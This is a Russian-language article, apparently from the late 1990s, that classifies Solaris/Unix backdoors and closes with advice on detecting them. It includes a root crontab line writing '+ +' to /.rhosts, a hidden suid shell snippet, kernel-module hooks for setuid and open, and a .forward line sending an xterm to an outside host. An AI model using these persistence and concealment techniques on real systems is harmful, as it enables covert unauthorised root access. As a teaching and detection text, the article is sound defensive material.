Backdoors
«Мертвый компьютер – защищенный компьютер!»
Введение.
Проникнуть в чужую систему и добиться там root привелегий это еще полдела. Как и в известной игре в «Царя горы», завоеванное нужно удержать. Для этого в систему вносятся небольшие изменения, оставляются программы. Это и есть backdoors. Чтобы найти их в своей системе ( А вдруг они там уже есть?! ;-), необходимо понимать способы их создания. В этом документе я не претендую на описание всех возможных backdoors. Вы можете предложить свой способ и пополнить коллекцию. Все названия относятся к OS Solaris. В других *NIX системах они аналогичны.
Классификация.
Backdoors, дающие привилегии.
Изменение атрибутов файлов.
suid-bit (04000). При запуске программы, имеющей s бит система порождает процесс с эффективным uid равным uid хозяина программы. Таким образом, копия shell, лежащая в удаленном каталоге и имеющая sticky-bit, дает мгновенные права «хозяина» файла, например root.
Атрибуты специальных устройств.
/dev/mem указывает на драйвер для доступа к памяти. Постановка на него атрибутов 0666 дает пользователю возможность прямой записи в память. Злоумышленник может найти proc_t структуру своего процесса и изменить его эффективный uid. {kmem_thief}
Изменение системных файлов.
/var/spool/cron/crontabs/ Cron создает заказанные процессы в установленное время. Взломщик может добавить строку, создающую, например, .rhosts файл в полночь и уничтожающую его утром в файл заданий root.
/var/spool/cron/crontabs/root: 0 22 * * 6 "echo '+ +' > /.rhosts" 0 6 * * 1 "rm -rf /.rhosts"
/etc/passwd, /etc/shadow – в этих файлах храниться информация о аккаунтах. Взломщик может добавть в них свои записи или изменить аттрибуты этих файлов для внесения в произвольный момент своей информации.
/var/sadm/install/contents – этот файл хранит информацию о проинсталлированных в системе файлах, их размеры, атрибуты и контрольную сумму. Этот файл может быть изменен для сокрытия модификации программ.
Подмена программ, модификация библиотек.
Программы, имеющие sticky-bit или часто выполняемые администратором системы могут быть модифицированны для внесения изменений в систему при выполнении администратором. E.g:
....
if( !geteuid())
chmod("/var/tmp/.hidden_shell", 0x4555);
....
Аналогичный кусочек может быть вставлен в одну библиотек, например libc. Библиотека libc.a разбирается на обьектные файлы. Необходимая функция модифицируется и компилируется новая динамическая библиотека.
Добавление модулей в ядро.
Взломщик может добавить свой модуль в ядро и перехватить какой-либо из системных вызовов, скажем, SYS_setuid.
SYS_setuid Solaris 2.6
....
proc_t p;
user_t ut;
int my_setuid(uid_t uid)
{
int rval;
p = ttoproc(curthread);
mutex_enter(&p->
p_lock);
up = prumap(p);
rval = bcmp(up->
u_comm, "devil", 5);
(void)prunmap(p);
mutex_exit(&p->
p_lock);
if( rval) {
rval = setuid(uid);
} else {
...
}
return 0;
}
....
Теперь достаточно переименовать свою программу в devil* и вызвать setuid для получения uid = 0.
Специально оставленные программы.
В системе могут быть оcтавлены файлы, такие как passwd крекеры, exploits для suid программ, etc. На не пропатченной системе с помощью exploitов могут быть получены root привелегии за счет выполнения кода в стеке программ имеющих sticky-bit.
Backdoors, дающие доступ к системе.
Введение доверенных отношений
~user/.rhosts, /etc/host.equiv, ~user/.shosts (при установленном SSH) Эти файлы создают доверенные отношения в сети. К ним обращаются демоны in.rlogind, in.rshd, sshd, etc. В файлах оговорены пары компьютер-пользователь которые могут входить в систему минуя схему аутенфикации. Пара ‘+ +’ позволяет вход любого пользователя с любого компьютера без пароля. Наличие файла /.rhosts {+ +} предоставляет возможность войди в систему как root или smtp (uid=0, gid=0). Ограничение на вход пользователя root только с консоли не запрещает удаленный вход пользователя smtp, a /usr/bin/.rhosts дает вход для пользователя ‘bin’
~user/.forward в этом файле хранится информация для перенаправления почты. Он может выглядеть например так:
\user |"/usr/openwin/bin/xterm -display another.host.net:0"
Добавление или модификация демонов.
Системные демоны обычно запускаются при старте системы из /etc/rc?.d/ файлов или при помощи мета-демона inetd. В эти файлы можно добавить старт своего демона. Для затруднения обнаружения посторонних соединений путем прослушивания сети или обмана firewalla чужая программа может использоваться UDP протокол или ICMP пакеты.
Backdoors, маскирующие активность в системе.
Подмена программ.
Замена программ исправленными версиями используется для маскировки своей работы в системе, например, запуска ломалки паролей. Программы изменяются так что бы не показывать активность определенного пользователя, запускаемых им процессов, использование дискового пространства. Наиболее известным из пакетов программ для замены системных утилит является RootKit. {RootKit SunOS, RootKit Linux}
Введение модулей в ядро.
Модули могут перехватывать системные вызовы обращения к файлам, получения информации о системе и сознательно искажать получаемую информацию. Например, при открытии файла «/etc/inetd.conf» будет происходить открытие резервной копии этого файла спрятанной в системе. Таким образом скрывается изменение системных файлов. SYS_open:
SYS_open Solaris 2.6
...
static char new_path = "/var/tmp/.locks/.idx/inetd.conf";
int my_open(char *fname, int fmode, int cmode)
{
int rval;
rval = bcmp(fname, "/etc/inetd.conf", 16);
if( rval) {
return(copen(fname, (int)(fmode-FOPEN), cmode));
} else {
return(copen(new_path, (int)(fmode-FOPEN), cmode));
}
}
...
Определение backdoors.
Хорошо спрятанный backdoor довольно трудно найти. Вопросы поиска и создания backdoors напоминают «спор брони и снаряда».
Проверка файлов.
Разумным решением является сделать назависимый список системных файлов с их атрибутами и контрольными суммами. Этот список создается после инсталляции новой системы и корректировки ее с помощью aset (SUNWast) или ‘fix-modes’ by Casper Dik. Проверка файлов в системе можно производить по cron или постоянным процессом с низким приоритетом. Контрольные суммы вычисляемые /bin/sum не являются надежной гарантией безопасности, т.к. легко подбираются. Можно порекомедовать для этих целей MD5 . Существует ряд продуктов различных фирм, позволяющих просматривать систему на предмет «странных» файлов, дат, атрибутов.
Контроль сетевых соединений.
Узнать о постороннем доступе в систему можно контролируя сетевой траффик и сканнируя хосты на предмет открытых портов. Существует большое количество как сканеров так и систем контроля за сетевым траффиком. Лучшим решением всегда остается firewall ;-).
Поддержание системы в разумном порядке.
Системы со всеми инсталлированными патчами, отключенными неиспользуемыми сервисами существенно меньше подвержены разрушению, с разумно ограниченным доверием ;-)



